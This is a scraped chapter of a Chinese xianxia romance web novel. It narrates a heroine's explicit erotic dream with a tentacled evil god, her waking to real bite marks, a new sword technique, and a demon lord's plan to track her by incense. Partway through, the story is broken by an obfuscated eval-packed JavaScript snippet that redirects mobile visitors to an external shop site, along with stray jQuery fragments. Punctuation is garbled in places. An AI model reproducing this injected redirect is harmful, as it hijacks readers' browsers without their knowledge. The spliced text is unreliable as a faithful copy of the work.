祝遥栀顿时吓出一身冷汗。
喵了个咪的,她怎么会出现在邪神怀里!
她不是在问心山泡温泉吗?只不过太舒服没忍住眯了一小会,不至于吧!
怎么就被发配到邪神怀里了?
她不敢看背后的邪神,只是悄悄抬眸打量四周。
月笼山色,一片水烟迷离,看来她还在问心山的温泉里。
不对啊,那邪神是怎么进来的?
祝遥栀疑惑不解,直到她看到温泉边开得绚烂的杏花,像是粉紫的烟霞。
她记得温泉旁边是没有这些杏花的,她刚才都靠着草甸睡着了,这些杏花像是凭空出现的。
难道她是在做梦?
祝遥栀神思飘散,而环在她腰间的手臂收紧了些许,将她轻晃了几下,毛绒绒的脑袋搭在她肩上,额头抵着她纤瘦的肩胛骨,少年邪神的声音有些低:“栀栀,为何、不理我?”
有些生涩的、尚且不太流畅的话语。
祝遥栀心下稍安,她真的只是在做梦。
她伸手摸了摸在她颈窝里蹭来蹭去的邪神,摸到了一手的银发,没有那些外骨骼。
太好了,梦境中的是过去的小怪物,还没有被她摇响追魔铃、被一箭穿透眉心的邪神。
“没有不理你。”祝遥栀在泉水中轻转过身,带起了细碎的涟漪声,鸦色长发在水中勾出一圈。
她望过去,原本想说的话顿时哽在喉咙里,一个字都说不出来。
山中温泉热汽蒸腾,隔着朦胧水雾,少年线条秀朗的苍白身躯映入她眼帘,肌骨如玉,在月下泛着莹润光泽。
“你怎么不穿”祝遥栀愣愣地说,片刻后忽然反应过来,她自己也好不到哪去,只穿了抹胸和小衣。
但是话又说回来,谁家好人和衣泡温泉啊!
祝遥栀想说的话已经忘了,都怪邪神太貌美。她眼前全是少年兼具力与美的身躯,水珠顺着清挺明晰的肌肉线条缓缓滑落,汇集在人鱼线向下流入泉水中。
“栀栀。”邪神伸手轻轻捧住她的脸,“你好像、累了。”
触手也柔柔地轻拍她的脑袋,像是在安慰她。
祝遥栀慢慢地反应过来,她一回剑阁就面临着各种事情,急于提升实力,剑阁其他几位尊者就像悬在
她头顶的刀她确实来不及、也没有好好休息过。
她是那种习惯咬牙强撑的性子但一被人关心一下就会忍不住露出软弱的一面。
“嗯剑阁里简直是一群贱人。”她皱了皱眉然后向邪神伸出了手“所以你给我揉一下。”
其实她只是想要向邪神要几只触手过来搓扁揉圆就当做解压。
但没想到少年低头把脸颊贴在她手上。
祂弯了弯眉眼细碎的蓝色瞳光落在银白眼睫上像是掉进雪里的星星。
这是个纯粹又温柔的笑容。
但这个时期的邪神明明是面无表情的不过都是梦境了要什么逻辑。
“那我就不客气了。”祝遥栀双手都伸了上去随心所欲地揉捏起来
很解压很治愈。
这张脸太漂亮了祝遥栀每舍得下重手揉得差不多了就收手。
邪神原本苍白的脸都被她揉得浮起一层桃花色像是情/动的潮红。
明明刀枪剑戟都伤不了分毫的邪神总是被她一碰就脆弱浮红像是在解蛊的时候.不行不能回想。
祝遥栀一想歪就耳根微热连忙收回了思绪还欲盖弥彰地掬起一捧泉水拍了拍自己的脸。
她是一个天真纯洁的小女孩所以这也会是一个天真纯洁的梦对一定是。
理想很丰满而现实很性/感——
祝遥栀才刚放下手冰凉柔软的吻就落在她脸上一点点舔去她眉眼上残留的水珠再顺着滑落的晶莹痕迹往下深深亲吻比寻常人要更有力的唇与舌别说还有那些触手。
祝遥栀原本就被温泉泡得浑身瘫软现在更是被亲得玉软花柔冰酥雪腻。春江潮涌她也跟着温泉漾开一圈又一圈的涟漪。
“栀栀”邪神牵起她的双手轻按在自己身上“不碰、其他的?”
祝遥栀刚揉过少年脸颊的爪子又被带着伸向了饱满偾张的胸膛。
她抬头好大的月亮好软韧的云朵好劲瘦有力的雪山。
祝遥栀一低头就对上邪神充血泛红的瞳孔。
“这不对吧这明明是我
的梦.”她呐呐地说,“怎么你在梦里也要勾引我啊。”
怎么就被反客为主了?
少年有力的手臂架起她的膝弯,见她托上水面,方便埋在她怀里亲她。
祝遥栀被送进了几枝开得纷繁的杏花中,花叶颤颤,薄粉轻红的杏花被她的呼吸打落,落了他们一身。
幽幽杏花香弥漫开来,尾调泛着甜腻,闻起来竟有些熟悉。
被带起的泉水又顺着身线滑落下去,淙淙作响。
少女鬓发尽湿,发丝勾在花枝上,又被触手嫉妒地解开、纠缠,簪钗缭乱,粉白杏花沾了一身,呼吸间都萦绕了花香。
祝遥栀慢慢反应过来,杏花,杏,像是某种隐秘而幽艳的暗示。
她为什么会做这样的梦?难道是真的被剑阁那些破事累到了,所以要想放松一下?不对啊,她明明是个正直的人。
很快祝遥栀就不正直了,她的所有思绪都被强有力地拽了回来。
少年邪神薄唇轻启,轻轻吹了一口气,她锁骨上的一瓣花就飘落下去,但微凉的唇又流连于锁骨中央凹陷处的那个小窝,那一小片肌肤很快就像那瓣杏花一样,白里透着湿艳的粉。触手从足尖蜿蜒而上,轻柔攀上她被分开的两股内侧,贴着小衣边缘的间隙滑进去,印下一连串的吻。
祝遥栀细细战栗,犹如她身旁的杏花枝,粉滟的杏花渗出些许晶莹夜露来。
就算质地再好的缎料,被浸透了紧紧贴在身上,也觉粗粝难耐,更别提少年的唇还压上来,隔着衣料细细磋磨她。
夜风轻盈得像是天与地接吻时的温柔呼吸,风中的香气越发浓稠。
祝遥栀也终于回想起来,她知道了,这是她刚才在泡温泉的时候点起的熏香!
她这熏香只是随便从锦囊里摸出来的,闻着是清幽淡雅的香味就用上了,一时没有多想,但这熏香也是从玉曲刁民那里得来的,就不可能是什么纯良无害的好东西。
所以,因为这来历不明的熏香,她才会做这样不可言说的绮梦。
那该如何才能从这个梦境中醒来?
祝遥栀轻呼一口气,隔着花与叶抬头看向头顶的茫茫夜色,月上中天,饱满圆润的明月轻柔而坚定地穿透层叠云丛的阻拦,抵入潮漉夜色深处。
纤细身段
和花枝一起绽放,杏花瓣纷飞四溅,花雾和热汽交织缠绕,月光被雾气氤氲,绵柔得仿佛可以在指尖融化,融得晶莹粘腻。
她垂眸,邪神刚好抬头与她对视,然后少年当着她的面,嫣红唇舌一点点舔去手指上的潋滟色泽,指节挺拔如玉竹,指甲却修得圆润,淡色的,润了水光,漂亮得糜艳。
祝遥栀有些匆忙地移开了视线。
“栀栀,”少年宽大的手掌轻轻覆上她丹府,“里面的、元阳,要炼化吗?”
祝遥栀哽了一下:“……”
该说不愧是她的梦吗,这种时候也不忘记要修炼。
太敬业了。
其实在梦里炼化了,梦醒了应该还是没什么变化,但祝遥栀没有拒绝,如果在梦里得知了如何炼化,那醒过来她也可以自己来。
所以她点了点头,末了又说:“把我放下去吧,上面冷,我要泡温泉。”
于是邪神将她轻柔地放进泉水中,祝遥栀原本还想自己站着,但她腰腿发软,差点没自己滑下去,只得抓着少年的手臂维持平衡。
“栀栀,这些日子,真的、累到了,都没力气。”邪神语带怜惜,低头吻了吻她泛红的耳根。
祝遥栀有些不满地挠了挠祂的手臂,不过太结实了,什么都挠不到。她才没有这么弱,完全是因为那盒歹毒的熏香。
“炼化元阳,需要我做什么吗?”她问。
邪神:“不用,我来。”
祝遥栀“哦”了一声,转过身去,随手捞了一只柔软的触手摆在岸上,然后枕了上去,想浅浅休息一下。触手细细的尖端欣悦地翘起来,轻轻贴在她额头。
祝遥栀倚靠在邪神怀里,脖子以下浸在温泉里,很是惬意。
被水温暖和了很多的手掌轻覆在她小腹,指尖抵着温和打圈。
隔着衣物,手指又轻若无物,祝遥栀逐渐有些昏昏欲睡。
直到某一瞬,似乎是错觉,她觉得天地都安静了下来,安静得死寂。
许久之后,她腰间环上来一只冰凉的手臂,强悍地将她往后拽,然后牢牢锁在怀里。
彼此之间的泉水都被挤开,气泡上升,像是盛开的透明藻花,引得整片温泉都荡开涟漪,周围的杏花簌簌如雪。
这小怪物怎么了?
祝遥栀原本眯着的眼睛睁开了但她还没回过头后颈忽然被咬住了。
这一下用了几分力气祝遥栀轻声嘶气皱眉说:“你干什么?疼。”
她不喜欢被咬这里。咬这个位置天生带着征服欲像是沦为被猛兽扼住命门的猎物无法逃脱。
泉水氤氲少女眉眼含了些水汽后颈受制只转过来半张脸眼尾晕着一抹湿红黛眉轻蹙欲泣不泣看上去格外惹人怜惜。
从她说了那个“疼”字后
“嘶——”祝遥栀轻颤了一下这一下比刚才还狠。
感受到她的颤抖咬着她的邪神才不紧不慢地松开唇齿又舔了一下那两道重叠的齿痕。
祝遥栀垂眸隔着泉水看着环在腰间的手臂上面青筋浮凸像是在竭力忍耐着什么。
她扒拉了一下那只手想要挣脱但却被更用力地拥紧了像是要把她嵌进冰凉的胸膛里。
那些触手也是忽然就炸了尖刺但又收了进去只在表面留下一层凸起像是随时又要炸刺。
奇怪明明刚才还那么柔软像对她摊开肚皮任她摸的猫。
祝遥栀伸手去戳那只触手刚才还会愉快回应她的触手现在一动也不动。
她又戳了戳“怎么了?刚才不是很开心吗?”
说者无意听者有心。
触手依然没有什么反应但从背后紧紧拥着她的邪神一边咬着她的耳朵一边说:“栀栀刚才我们在做什么?”
这声音也不太一样要更加清冷也更加沙哑。还带着不再压抑的、浓厚侵占欲。
祝遥栀有些奇怪但没有细想反正这是她的梦梦嘛光怪陆离一些也正常。
“在炼化我体内的元阳。”她如实说。
邪神顿了一下而后冷声说:“我差点忘了栀栀我对你来说还剩下这个用处。”
自嘲的、冷淡的语气有些陌生带点咬牙切齿的意味每说一个字都像是要张口把她吃下去。
“这是什么话?”祝遥栀下意识回过头想看看邪神的表情却被一只手捂住了双
眼。
“怎么了?她眨了眨眼,睫毛像小扇子一样,刷过少年的掌心。
“…不许眨眼。
覆在她双眼上的手掌更加紧贴了几分,按住了她的眼睛。
“好吧。祝遥栀也不强求,不眨就不眨。
她还是没想明白,“为什么不让我看你了?
虽然她刚才也没怎么看。
“栀栀一看到我,就会跑了。
“我刚才都没跑,我现在跑什么?祝遥栀觉得这梦真奇怪。
她想起正事,就说:“不继续炼化了?
周围瞬间冷了下来,连温泉的水温都好像下降了些许。
而后高挺的鼻梁贴上她的肩胛,薄唇擦过她的耳畔,话语带来的冰凉气息钻进她的耳孔:“好、啊。
这声音冰凉得近乎冷峻。
祝遥栀有些奇怪,下一刻,她被触手缠绕抬高,披散在背后的长发被拂开,冰凉却汹涌的吻落了下来,她下意识弓起脊背,蝴蝶骨伶仃脆弱。
这次的吻与之前都不一样,多了一些东西,她有些恍惚地反应过来,唇舌之间伸展出细小的触手,细密而黏润,被亲吻过的肌肤泛起一阵难言的潮热。
之后换成触手蒙住了她的双眼,细密吮弄她的眼部,连眼睫毛都没有放过。祝遥栀感受着邪神骨节修挺的手指,忍不住伸手攥住了前面的一枝杏花。手指用了力,剥开粉滟薄红的杏花瓣碾磨杏蕊,不消片刻手指上就一片甜香黏润。
山月空濛,温泉周围的花枝如她一般战栗着盛放,落花纷溅如雨。
和之前有些不一样,不再克制得轻柔缓慢,而是不容拒绝的强势,又精准地让她灵肉沉湎。
另一只手掌覆在她丹府上,沾染她的体温,冰凉的异物感不再那么强烈,残存的元阳被缓缓牵引,化作暖流涌进周身灵脉。
有些狠了,过量的欢愉之后总是有些倦怠,但身后的邪神并不体谅。每一次盛放都被延长,不待她回神又拽她跌进无尽狂潮,她失神的抓紧手中那枝杏花,揉至荼蘼软烂,甜香四溢。
灵脉被暖流充盈,舒适得她指尖酥麻,接连的快慰彻骨销.魂。祝遥栀没什么力气地靠在那些触
手上轻声嘟囔:“都说了缓一些怎么非要跟我对着干刚才不是还很听话。”
邪神没有说话也没有听从她的话。坚决而强势欢慰过量得近乎残忍。
祝遥栀闭嘴了不说了说了好像更过分了。
都怪这诡异的熏香虽然只是在帮她炼化元阳但她连神智都要涣散了。
当然没撑多久她就昏过去了。
触手移开邪神垂眸双目紧闭的少女呼吸均匀眼尾还含着些许生理性的水汽像是哭泣后的泪痕。
祂还是低头轻轻吻了少女湿红的眼尾带着祂自己都厌弃的怜惜。
“栀栀比起我的爱你更想要我的恨么?”
昏睡的少女当然没有回应。
“栀栀大概从不在意。”
祝遥栀睁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106256|149737||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开了双眼梦境已经消散眼前还是问心山的温泉竹阁没有邪神也没有杏花树她只是趴在草甸上睡了片刻。
她啧了一声立刻把那盒罪魁祸首的熏香收了起来。
那股甜腻香气还在四周萦绕不散祝遥栀只好捏诀召来灵风吹散香气。
她总觉得后颈有点刺刺的疼伸手一摸摸到了两排齿痕。
???
这他喵的不是梦吗?
这什么鬼熏香?
虽然但是
然后她就发现她的修为又涨了好多现在离突破到元婴期只有一步之遥。
元阳炼化了就是好啊。
看在修为提升的份上祝遥栀原谅了这盒熏香。
她起身把衣裳穿戴整齐没忘记戴上面纱又忍不住伸手摸了摸后颈的痕迹。虽然有点痛但没有渗血。
不知道为什么梦境中邪神对她做了什么现实中她身上也会出现相应的变化。
——一定是那盒诡异的熏香搞的鬼。
总不能是邪神入了她的梦现在的小怪物已经是魔域至尊了一见到她都不知道要如何报复她。
祝遥栀轻叹“我真是个罪孽深重的女人。”
将来的事将来再说吧她不习惯为还没有发生的事情提前焦虑。
祝遥栀抬头看着漫天星月缓缓吐纳天地灵气。
她不急
着突破元婴期,毕竟修士突破渡劫讲求机缘,要天时地利人和。
接下来祝遥栀悠哉悠哉地在问心山四处走走,连犄角旮旯的地方都长了灵花异草,她本来想薅更多一些,不过她的储物锦囊和纳物手镯都塞满了,只好作罢。
她只能拿了一些穿戴在身上的法宝,像是能够瞬发防御法阵的红珊瑚耳珰。
然后,祝遥栀就专门找那些能派上用场的功法剑诀,不过当她闭上双眼,识海中就浮现了一行苍劲潇洒的文字,像是泼墨写就:霎雪剑法,第一式,流华叠霜。
她凝了神识扫过去,就知道了剑法的第一式要如何运转灵力如何挥剑。
祝遥栀找了一片湖泊试了一下,这第一式有点意思。剑光落下,湖水凝起层层叠叠的冰霜,每一片霜花都炸开凛冽剑气,而且随着修为增加,层叠的冰霜会越多,相当于一个大范围群攻的招式。
不错,继续学。
她一连学到霎雪剑法的第四式,天心一剑。
在识海中掌握方法后,祝遥栀弯了弯眉眼,问系统:“薛徊现在在哪?”
系统:“具体不知,但可以感应大致方位。”
于是祝遥栀对着薛徊所在的方向,挥剑一斩,第四式,天心一剑。
黑沉夜色被一柄巨剑划破,冰雪凝成的百尺巨剑破云而出,犹如天降神兵,直直砸进地面,凌厉剑势摧毁宫阙,山崩地裂,烟尘飘飞,倒塌声轰然如惊雷。
然后那把巨剑就这样屹立在剑阁之中,冰雪璀璨,无比醒目。
暴力拆迁的同时也为祝遥栀立了威。
祝遥栀:“很好,很满意。”
霎雪剑,爱了。
魔域。
梦惊鹊深夜被召进正殿,向重重玄金垂帘后的身影恭敬行礼,“参见尊上。”
大殿的穹顶上开满奇花异卉,幽蓝藻花与血腥鸢尾,琉璃垂灯,白骨雕琢,灯芯翩跹飞蝶。
“此为何物?”
银白触手卷着一盒熏香,在梦惊雀面前晃了一下。
梦惊鹊一见,立刻回答:“启禀尊上,此为绮夜香,合欢宗所制,会让人在入睡后深陷艳梦,长此以往就会消磨意志,在梦中养成合欢之瘾。”
他多说了几句:“绮夜香多为合欢宗弟子迷惑人心所
用,夜有所思日有所想,而且,绮夜香一旦点上,香味就会在身上萦绕七日而不散,那些合欢宗弟子也喜欢用这个来追踪猎物。
“七日…高台上端坐主座的魔尊沉吟,“可有循香定位之法?
梦惊鹊忙不迭说:“有。属下近日刚抓获了几个合欢宗弟子,从他们身上搜出了闻香藤,一株闻香藤只需一天一夜,就可以寻香百里,找到沾染绮夜香的人,一旦找到就会开花结果。
他连忙将一袋闻香藤的种子双手奉上,很快就被银白触手卷走了。
梦惊鹊很自觉地说:“尊上放心,我立刻吩咐下去,让那些埋在仙门百家的眼线也开始种闻香藤,相信要不了多久,就会找到尊上想找的人。
触手指了指殿门的方向,示意他可以滚了。
“属下先告退。
梦惊鹊一出正殿,还没绕过几道回廊,就遇到了熟悉的身影。
方楹还是一身艳红轻纱,唇角勾着一抹浅笑,“巧遇。
“哦?梦惊鹊皮笑肉不笑,“怕不是专门在这等着。
他心中门清,方楹这吃里扒外的东西,肯定是担心自家主子被找到,所以急着来打探情况。
方楹面上笑意未改,“是呢,属下时刻准备为尊上效犬马之劳。
梦惊鹊丹唇轻弯,扔过去一袋种子,“那就谨奉尊上之命,去种闻香藤吧。
“闻香藤?方楹有些疑惑,“这不是合欢宗弟子追踪炉鼎用的吗?
梦惊鹊:“尊上要找的那个女修身上有绮夜香,七日之内,我们要用闻香藤把人找出来。
“原来如此,方楹挑了一下眉,“这可不太好办,要知道那些合欢宗弟子没一个是省油的灯,没一个宗门里头,可不知有多少被绮夜香祸害的人。
“而且这闻香藤虽然无形无体,只有种它们的人能看到丝缕幽光,但修为高的人,还是能一眼看破的,我听说,那些大宗门的执法堂,就有长老专门负责定期清查闻香藤,防止宗门弟子被合欢宗蛊惑,不仅无心修道,要是被当作炉鼎用了,修为还会往下跌。
梦惊鹊不动声色地问:“那你可有什么法子甄别人选?或者隐匿闻香藤。
“我?方楹无能为力地摊手,“连英明神武的副教主都无计可施,我不过是区区一介长老,能有什么法子?
梦惊鹊摆了摆手,“那就别废话,去种。只要种多了,那些长老也没那闲工夫整日逮着闻香藤清除。
方楹十分捧场,“副教主真是足智多谋,属下这就去种。
他走后,梦惊鹊就挥手一召,对身后的阴影说:“吩咐下去,盯紧这小子,他估计急着去通风报信。
“是。阴影蠕动着消隐进茫茫夜色里。
作者有话要说
感谢在2024-07-0416:33:46~2024-07-0520:51:25期间为我投出霸王票或灌溉营养液的小天使哦~
感谢投出手榴弹的小天使:佰72881个;
感谢投出地雷的小天使:娜娜1个;
感谢灌溉营养液的小天使:liberation60瓶;单链DNA模板、我全都爱了、我爱lfj6瓶;许小二3瓶;归2瓶;耀要咬瑶瑶、飞飞小气球、溪尘、69919126、南方有鱼1瓶;
非常感谢大家对我的支持,我会继续努力的!